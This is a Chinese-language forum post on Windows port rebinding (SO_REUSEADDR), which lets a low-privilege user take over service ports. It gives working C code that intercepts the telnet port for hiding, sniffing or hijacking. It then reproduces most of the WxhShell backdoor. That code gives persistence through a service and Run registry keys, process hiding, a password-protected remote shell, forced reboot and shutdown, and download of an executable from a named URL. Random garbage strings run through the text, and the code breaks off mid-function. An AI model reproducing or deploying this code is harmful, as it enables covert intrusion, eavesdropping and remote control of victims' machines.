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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LtW}R4}3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y'*oW+K  
&.F ]-1RN[  
  saddr.sin_family = AF_INET; f}=>c|Do  
H}?"2jF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zjd9@  
R.(PZCvS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qco8m4n  
fN&@y$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;Nk,bb K  
|0OY> 5  
  这意味着什么?意味着可以进行如下的攻击: HAwdu1$8  
5X&Y~w,poU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2u Zb2O  
_0}u0fk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ogv9_ X8  
?.Q$@Ih0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {>g{+Eq  
ia@ |+r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $O3.ex V  
gWQ(B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q<0X80w>  
> 9.%hSy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V_zU?}lZ^  
V/`vX;%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s@zO`uBc  
(1 (~r"4I  
  #include Uo?4o*}  
  #include qF\w#nG  
  #include :CLWmMC_  
  #include    bb  M^J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w p\-LO~  
  int main() Q p7h|<  
  { 1J([*)  
  WORD wVersionRequested; L I*=T   
  DWORD ret; \#4mPk_"  
  WSADATA wsaData; _iu~vU)r  
  BOOL val; F42<9)I  
  SOCKADDR_IN saddr; CFC15/yU  
  SOCKADDR_IN scaddr; zzK<>@c  
  int err; 90#* el  
  SOCKET s; bmu]zJ  
  SOCKET sc; _o[fjd  
  int caddsize; C#-HWoSi  
  HANDLE mt; =^1jVaAL  
  DWORD tid;   EQN)y27poW  
  wVersionRequested = MAKEWORD( 2, 2 ); tk]D)+{u&c  
  err = WSAStartup( wVersionRequested, &wsaData ); =p^$>o  
  if ( err != 0 ) { 1w~PHH`~  
  printf("error!WSAStartup failed!\n"); &(oA/jFQ  
  return -1; T*:w1*:  
  } DkX^b:D*f  
  saddr.sin_family = AF_INET; }`kiULC'=  
   C~egF=w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ? X6M8`  
r0!')?#Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f0vO(@I  
  saddr.sin_port = htons(23); l^Ob60)2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 793 15A  
  { ^s6}[LDW>@  
  printf("error!socket failed!\n"); }4N'as/ZO  
  return -1; @Ddz|4vEi  
  } "4\k1H"_  
  val = TRUE; EsGf+-}|!0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6R,Y.srR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q,:{(R  
  { tL3R<'  
  printf("error!setsockopt failed!\n"); E*O($tS  
  return -1; 6se8`[  
  } *?BY+0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +j{(NwsX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sC.b '1P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q7rBc wm5  
(?m{G Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R\|,GZ!`+  
  { hw,nA2w\  
  ret=GetLastError(); ]XU4nNi  
  printf("error!bind failed!\n"); HdN5zl,q  
  return -1; >ei~:z]R  
  } gUNhN1=  
  listen(s,2); G&xtL  
  while(1) eT+i &  
  { yI1 :L -  
  caddsize = sizeof(scaddr); T? Kh '  
  //接受连接请求 t5%cpkgh4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <4+P37^ ~  
  if(sc!=INVALID_SOCKET) T:u>7?8o  
  { s]% C z\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +@=V}IO  
  if(mt==NULL) yAfwQ$Ll7  
  {  q[ _qZ  
  printf("Thread Creat Failed!\n"); r[4n2Mys  
  break; ~4khIz  
  } "h#R>3I1)  
  } g:z<CSIq/  
  CloseHandle(mt); GA[Ebzi  
  } ydyTDn  
  closesocket(s); g]lEG>y1R  
  WSACleanup(); .6P.r}  
  return 0; ?OLd }8y  
  }   W?5')  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5afD;0D5TI  
  { Xd=KBB[r?  
  SOCKET ss = (SOCKET)lpParam; gYhY1Mym  
  SOCKET sc; 9T;4aP>6j#  
  unsigned char buf[4096]; >*RU:X  
  SOCKADDR_IN saddr; Hl`OT5 pNf  
  long num; `*Yw-HL  
  DWORD val; l3sF/zkH  
  DWORD ret; |]4!WBK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _8a;5hS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qS#G7~ur>y  
  saddr.sin_family = AF_INET; Hl,{4%]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >=[uLY[aK  
  saddr.sin_port = htons(23); eJ99W=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hE|P|0U,n  
  { .Q%Hi7JMi  
  printf("error!socket failed!\n"); ,c4HicRJ#  
  return -1; X>8,C^~$1  
  } g3z/yj  
  val = 100; F%h3?"s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZU73UL  
  { g%&E~V/g$  
  ret = GetLastError(); >E>yA d  
  return -1; mY.v:  
  } 1Z) Et,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iX$G($[l(  
  { G IN|cv=  
  ret = GetLastError(); #B;P4n3  
  return -1; ~Jk& !IE2  
  } -B;#pTG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6;Z -Y>\c  
  { au{) 5W4~  
  printf("error!socket connect failed!\n"); 5dm~yQN/  
  closesocket(sc); 2)n`Bd  
  closesocket(ss); o]4]fLQ  
  return -1; x~V[}4E%>  
  } j(=w4Sd_W  
  while(1) h m,{C  
  { S MWXP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KLyRb0V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5MVa;m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CIx(SeEF  
  num = recv(ss,buf,4096,0); 3>KEl^1DB  
  if(num>0) c_3B:F7  
  send(sc,buf,num,0); iApq!u,  
  else if(num==0) & Q3Fgj  
  break; ,AP0*Ln  
  num = recv(sc,buf,4096,0); GGp.u@\r  
  if(num>0) uzBQK  
  send(ss,buf,num,0); w}ji]V}  
  else if(num==0) Zz0bd473k?  
  break; FJ_7<4ET  
  } L[x`i'0B  
  closesocket(ss); 9MMCWMV  
  closesocket(sc); G&ck98  
  return 0 ; 0 0N[ : %  
  } .xN<<+|_v'  
X`.##S KC  
zmo2uUEd  
========================================================== i "h\*B=  
w:t~M[kTW  
下边附上一个代码,,WXhSHELL Sc7 Ftb%  
4j={ 9e<  
========================================================== V4[-:k  
'z ?Hv  
#include "stdafx.h" x4WCAqi/2  
cUY-  
#include <stdio.h> geme_  
#include <string.h> eFG/!b<17  
#include <windows.h> 3`bQ0-D;  
#include <winsock2.h> fpR|+`k  
#include <winsvc.h> :W.H#@'(  
#include <urlmon.h> rYb5#aT[  
NoiB9 8g  
#pragma comment (lib, "Ws2_32.lib") EhxpMTS  
#pragma comment (lib, "urlmon.lib") }u_D{bz  
1Gsh%0r3  
#define MAX_USER   100 // 最大客户端连接数 2_q/<8t  
#define BUF_SOCK   200 // sock buffer %e~xO x  
#define KEY_BUFF   255 // 输入 buffer W/qXQORv  
L7$f01*  
#define REBOOT     0   // 重启 KN}#8.'>3  
#define SHUTDOWN   1   // 关机 E_ wVAz3  
|0n )U(  
#define DEF_PORT   5000 // 监听端口 rtj/&>  
^Hx}.?1  
#define REG_LEN     16   // 注册表键长度 e9{ii2M  
#define SVC_LEN     80   // NT服务名长度 $ VT)  
.C'\U[A{  
// 从dll定义API L/i'6(="  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z@,pT"rb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1}d F,e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Va8 }JD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UY3)6}g6  
LCivZ0?|X  
// wxhshell配置信息 v \:AOY'  
struct WSCFG { jZA1fV  
  int ws_port;         // 监听端口 tm~9XFQ<  
  char ws_passstr[REG_LEN]; // 口令 0>28o.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;/Hr ZhOE  
  char ws_regname[REG_LEN]; // 注册表键名 $gl|^c\  
  char ws_svcname[REG_LEN]; // 服务名 zG9FO/@av  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H8eEBMGo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %g9y m@s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 74([~Qs _M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |5^ iqW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C~&E7w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gdow[x  
c8&3IzZ  
}; W`[VLi}fe  
Ca~8cQ  
// default Wxhshell configuration w|f+OlPXq  
struct WSCFG wscfg={DEF_PORT, "S;4hO  
    "xuhuanlingzhe", j9fBl:Fr  
    1, \@@G\\)er  
    "Wxhshell", bJ:5pBJ3  
    "Wxhshell", ?/.])'&b  
            "WxhShell Service", fEBi'Ad  
    "Wrsky Windows CmdShell Service", P.Nt jz/B  
    "Please Input Your Password: ", zqA>eDx  
  1, ;>PHkJQ  
  "http://www.wrsky.com/wxhshell.exe", wq?"NQ?O<  
  "Wxhshell.exe" S)EF&S(TC  
    }; F$UL.`X _/  
I#OZ:g^  
// 消息定义模块 %Xc,l Y1?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :W)lt28_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zf$mwRS[_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :Racu;xf  
char *msg_ws_ext="\n\rExit."; |>ztx}\  
char *msg_ws_end="\n\rQuit."; )<QX2~m<  
char *msg_ws_boot="\n\rReboot..."; )7.)fY$  
char *msg_ws_poff="\n\rShutdown..."; ew\:&"@2]w  
char *msg_ws_down="\n\rSave to "; &b (*  
/` M#  
char *msg_ws_err="\n\rErr!"; v~OMm \  
char *msg_ws_ok="\n\rOK!"; ;r@=[h   
,a>Dv@$Y  
char ExeFile[MAX_PATH]; ,1I-%6L  
int nUser = 0; ;MQl.?vj  
HANDLE handles[MAX_USER]; ,u}wW*?,sT  
int OsIsNt; l;q]z  
^li3*#eT  
SERVICE_STATUS       serviceStatus; 1tY+0R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6$OmOCA%  
g%J\YRo  
// 函数声明 u0W6u} 4;  
int Install(void); eBa#Z1Z  
int Uninstall(void); )xVf3l pQ  
int DownloadFile(char *sURL, SOCKET wsh); lW"0fZ_x'E  
int Boot(int flag); ~C{:G;Iy0  
void HideProc(void); VP!4Nob  
int GetOsVer(void); S:z|"u:+  
int Wxhshell(SOCKET wsl); >$ZhhM/} J  
void TalkWithClient(void *cs); GJdL1ptc  
int CmdShell(SOCKET sock); u.A}&'H  
int StartFromService(void); 6?x F!VIL  
int StartWxhshell(LPSTR lpCmdLine); +X#6 d v$  
m ^FKE:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <oXBkCi0r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3[Q7'\  
E,d<F{=8,o  
// 数据结构和表定义 29=ob("  
SERVICE_TABLE_ENTRY DispatchTable[] = Fug4u?-n  
{ X0L \Ewm  
{wscfg.ws_svcname, NTServiceMain}, uG -+&MU?  
{NULL, NULL} '9QEG/v  
}; %e[E@H7  
B9,39rG/7+  
// 自我安装 jwjLxt  
int Install(void) fTpG>*{p  
{ jUD^]Qs  
  char svExeFile[MAX_PATH]; sSh." H  
  HKEY key; i=/hLE8T*  
  strcpy(svExeFile,ExeFile); a( ~X  
@(c^u;  
// 如果是win9x系统,修改注册表设为自启动 ;39b.v\^  
if(!OsIsNt) { Hya.OW{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^P{y^@XI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I:t ?#)wl  
  RegCloseKey(key); ^/2HH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gdCit-3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >&\.{ aj  
  RegCloseKey(key); ?<F([(  
  return 0; &IXmy-w  
    } CA|l| t^  
  } u3 Z]!l  
} [f:&aS+  
else { +\["HS7+'0  
`}`Qqv  
// 如果是NT以上系统,安装为系统服务 PK|qiu-O&*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ PN2^  
if (schSCManager!=0) 6&]Z'nW0k  
{ y_>DszRN`u  
  SC_HANDLE schService = CreateService $hc=H  
  ( &bq1n_  
  schSCManager, i\;ZEM{  
  wscfg.ws_svcname, Y'000#+  
  wscfg.ws_svcdisp, j|8!gW  
  SERVICE_ALL_ACCESS, #do%u"q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xKUWj<+/  
  SERVICE_AUTO_START, ^>%.l'1/(  
  SERVICE_ERROR_NORMAL, I~6(>Z{  
  svExeFile, i+5Qs-dHA  
  NULL, N?t*4Y  
  NULL, pq]z%\$u  
  NULL, <o9i;[+H-  
  NULL, tJ_Y6oFm=  
  NULL f?ycZ  
  ); T*@o?U  
  if (schService!=0) 02J(*_o  
  { _R|_1xa=  
  CloseServiceHandle(schService); B#hvw'}  
  CloseServiceHandle(schSCManager); ?f9M59(l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ge({sy>X  
  strcat(svExeFile,wscfg.ws_svcname); iz;5:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /JRZ?/<1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |%5pzYe  
  RegCloseKey(key); O*/%z r  
  return 0; S]=.p-Am  
    } IAzFwlO9  
  } p2(ha3PW  
  CloseServiceHandle(schSCManager); fJ\?+,  
} NRG06M  
} q_ ^yma  
$Tv~ *|a  
return 1; ,d*1|oUw  
} A",}Ikh='`  
$,O8SW.O$  
// 自我卸载 &\ca ? #  
int Uninstall(void) ]#DCO8Vk  
{ u(yN81  
  HKEY key; y+Nw>\|S  
Q }^Ip7T  
if(!OsIsNt) { %5+X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y|+5R5}K  
  RegDeleteValue(key,wscfg.ws_regname); T~$Eh6 D  
  RegCloseKey(key); _'Jjt9@S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L|<j/bP  
  RegDeleteValue(key,wscfg.ws_regname); b 1.S21  
  RegCloseKey(key); [z\baL|  
  return 0; W;T0_=  
  } WI| -pzg  
} ,_H H8[&  
} Bx\ o8k  
else { ugXDnM[S%  
OcWKK!A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BUwL?  
if (schSCManager!=0) 0\"#Xa+}8  
{ .7 )oWd!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !0? B=yA  
  if (schService!=0) byE0Z vDM  
  { LH}9&FfjU  
  if(DeleteService(schService)!=0) { VJw7defc  
  CloseServiceHandle(schService); &n8Ja@Y]  
  CloseServiceHandle(schSCManager); I)#8}[vK  
  return 0; rSt5 @f?  
  } 'hWA&Xx +  
  CloseServiceHandle(schService); ` ;mQ"lO  
  } # hn  
  CloseServiceHandle(schSCManager); :sK4mRF  
} bh5P98s  
} W tw,YFT  
6wu`;>  
return 1; >`&2]Wc)  
} )N~ p4kp  
j 7:r8? G  
// 从指定url下载文件 \z2y?"\?  
int DownloadFile(char *sURL, SOCKET wsh) I+twI&GS  
{ LHx ")H?,  
  HRESULT hr; 2!}F+^8'P  
char seps[]= "/"; 3 eF c  
char *token; P5B,= K>r  
char *file; YCStX)r  
char myURL[MAX_PATH]; ,<K+.7,)E  
char myFILE[MAX_PATH]; G"m0[|XH  
oB!Y)f6H1  
strcpy(myURL,sURL); UkD\ma  
  token=strtok(myURL,seps); [O^/"Qk  
  while(token!=NULL) d])ctxB  
  { p{_*<"cfYn  
    file=token; |S).,B  
  token=strtok(NULL,seps); XZ8rM4 ]  
  } U!Zj%H1XQ0  
lr;ubBbT  
GetCurrentDirectory(MAX_PATH,myFILE); iex%$> "  
strcat(myFILE, "\\"); 9 4H')(  
strcat(myFILE, file); />8A?+g9u  
  send(wsh,myFILE,strlen(myFILE),0); z]hRc8 g}d  
send(wsh,"...",3,0); kmTYRl )j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i)(G0/:  
  if(hr==S_OK) V.$tq  
return 0; urkuG4cY  
else )lt1I\n*k  
return 1; f{L;,  
2`;XcY4A  
} 1}c /l<d  
~.G$0IJY  
// 系统电源模块 ^{IZpT3  
int Boot(int flag) ;u(*&vRqr^  
{ T ?[;ej:  
  HANDLE hToken; aj|PyX3P:  
  TOKEN_PRIVILEGES tkp; S]%,g%6i  
SX'NFdY  
  if(OsIsNt) { h*JN0O<b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W3Ee3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !nJl.Y$  
    tkp.PrivilegeCount = 1; 3)CIqN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ayn aV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E<! L^A M`  
if(flag==REBOOT) { =AzkE]   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 05HCr"k  
  return 0; GK,{$SC+=  
} PX^ k;  
else { ??B!UXi4R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t>%b[(a  
  return 0; z}-R^"40  
} /@ g 8MUq7  
  } d)biMI}<5  
  else { u=s,bt,"5  
if(flag==REBOOT) { k0\a7$}F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NWiDNK[VE}  
  return 0; q[P>s{"  
} QaEiPn~  
else { A0A|cJP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W[`ybGR<  
  return 0; (>u1O V  
} ND?"1/s  
} E]&N'+T  
%nq<nfDT  
return 1; 2P'Vp7f6 Y  
} :+QNN<  
.j,xh )v"  
// win9x进程隐藏模块 fk?!0M6d  
void HideProc(void) X1}M_h %  
{ tAep_GR  
T>1#SWQ/9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @V^.eVM\R  
  if ( hKernel != NULL ) $U7/w?gc'  
  { sVP\EF8PY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gzVZPvTPE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (O09HY:  
    FreeLibrary(hKernel); N GnE  
  } bvZD@F`2  
Zp_j\B  
return; "#0P*3-c  
} RWM~7^JA  
yVn%Bz' [  
// 获取操作系统版本 =z9,=rR4  
int GetOsVer(void) 7|dm"%@  
{ j?$B@Zk  
  OSVERSIONINFO winfo; DH _~,tK9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mM/#(Ghl  
  GetVersionEx(&winfo); _'Vo3b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # Dgkl  
  return 1; yRyRH%p)  
  else 7yg {0a  
  return 0; &``nD  
} ]P7gEBi  
G] tT=X[  
// 客户端句柄模块 b9i_\  
int Wxhshell(SOCKET wsl) B$s6|~  
{ a}VR>!b  
  SOCKET wsh; OraT$lV)_  
  struct sockaddr_in client; N@k' s   
  DWORD myID; @(x]+*)  
x2I|iA=  
  while(nUser<MAX_USER) LHOt(5VY  
{ 9%ct   
  int nSize=sizeof(client); V?^qW#AG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r:0RvWif  
  if(wsh==INVALID_SOCKET) return 1; hTby:$aCg  
J'=s25OWU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c; .y  
if(handles[nUser]==0) ]moBVRd  
  closesocket(wsh); p\'X%R  
else G^|b*n!!  
  nUser++; UDJ#P9uy  
  } PPpaH!(D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t,XbF  
zTG1 0  
  return 0; +YCWoX 2  
} [.$%ti*!  
{#z47Rz  
// 关闭 socket ]+qd|}^  
void CloseIt(SOCKET wsh) g_tEUaiK  
{ Fgwe`[  
closesocket(wsh); 9_&]7ABV  
nUser--; $E:z*~ ?  
ExitThread(0); ^Vh^Z)gGi  
}  %O(W;O  
*n@rPr-  
// 客户端请求句柄 E:\#Ur2  
void TalkWithClient(void *cs) SU7,uxF  
{ xK1w->[  
A~?)g!tS<  
  SOCKET wsh=(SOCKET)cs; E'8XXV^I?P  
  char pwd[SVC_LEN]; 9 s2z=^  
  char cmd[KEY_BUFF]; ~k 6V?z}  
char chr[1]; Ug gg!zA  
int i,j; id`9,IJx  
v) K|{x  
  while (nUser < MAX_USER) { n~w[ajC/  
oM#+Z qP  
if(wscfg.ws_passstr) { u,YmCEd_V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8h}1t4k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `N}'5{I  
  //ZeroMemory(pwd,KEY_BUFF); 9*n?V;E  
      i=0; 4_CXs.v1  
  while(i<SVC_LEN) { 6+>X`k%D  
yg|yoL'g  
  // 设置超时 KV{  
  fd_set FdRead; 5?j#  
  struct timeval TimeOut; jM{5nRQ  
  FD_ZERO(&FdRead); Iz#jR2:yn  
  FD_SET(wsh,&FdRead); -=1>t3~\  
  TimeOut.tv_sec=8; !14v Ovj4{  
  TimeOut.tv_usec=0; vHPsHy7y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }.=wQ_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R >[G6LOG  
OCqknA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +y-3tcI)  
  pwd=chr[0]; /b4>0DXT5  
  if(chr[0]==0xd || chr[0]==0xa) { li')U  
  pwd=0; {t'SA]|g  
  break; \4OU+$m  
  } h2+"e# _  
  i++; H}usL)0&&  
    } ,MLAW  
6TQ[2%X'  
  // 如果是非法用户,关闭 socket vsq |m 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +f^|Yi  
} 4*q6#=G  
VjiwW%UOM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d.U"lP/)D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iN L>TVUM  
 ? EhIK  
while(1) { ="g9>  
KC<K*UHPAH  
  ZeroMemory(cmd,KEY_BUFF); 2XjH1  
8)f/H&)>8  
      // 自动支持客户端 telnet标准   R&/"?&pfa  
  j=0; =| r% lx  
  while(j<KEY_BUFF) { e&<=+\ul  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v+d`J55  
  cmd[j]=chr[0]; 1:I _ ;O_  
  if(chr[0]==0xa || chr[0]==0xd) { b^P\Kky  
  cmd[j]=0; | gGD3H  
  break; Q'^$;X~-<  
  } $D*Yhv!/  
  j++; [XA:pj;rg'  
    } vcOw`oS  
/5f=a  
  // 下载文件 ZzT"u1,&  
  if(strstr(cmd,"http://")) { ZZeF1y[q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r,GgMk  
  if(DownloadFile(cmd,wsh)) /EVXkf0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |[/XG2S  
  else EhOB+Mc1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }%,LV]rGEZ  
  } P[,  
  else { T<0V ^B7  
kh"APxQ79  
    switch(cmd[0]) { D<^K7tJui  
  EuD$^#  
  // 帮助 #6 $WuIG  
  case '?': { k,/2]{#53d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R8j\CiV17  
    break; +DSZ(Zb4qY  
  } @ `SlOKz!=  
  // 安装 5%fR9?)  
  case 'i': { "(;t`,F  
    if(Install()) uHt@;$9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7C@m(oK  
    else *.-qbwOg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OV7SLf  
    break; +L=a\8Ep  
    } pG$l   
  // 卸载 xHn "D@  
  case 'r': { g`H;~ w  
    if(Uninstall()) RWGAxq`9f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#2E {uy;R  
    else /8>we`4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#2#i]-  
    break; Rap_1o9#\  
    } <'P+2(Oi  
  // 显示 wxhshell 所在路径 Ke\FzZ]  
  case 'p': { HhUk9 >7  
    char svExeFile[MAX_PATH]; ^F+7@*u  
    strcpy(svExeFile,"\n\r"); Qy'-3GB  
      strcat(svExeFile,ExeFile); 0&6(y* #Z  
        send(wsh,svExeFile,strlen(svExeFile),0); ru*}lDJ  
    break; ]~'pYOB  
    } -$f$z(h  
  // 重启 G>+iisb%  
  case 'b': {  11-?M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !4+@b s  
    if(Boot(REBOOT)) {MmK:C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cq 1)b\|  
    else { 212  
    closesocket(wsh); YM +4:P2  
    ExitThread(0); D^H4]7wG@  
    } fSm|anuKZe  
    break; X0]5I0YP  
    } b5UIX Kim  
  // 关机 g;</|Z  
  case 'd': { {&)E$ M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {9h`h08?z  
    if(Boot(SHUTDOWN)) RV6|sN[x>  
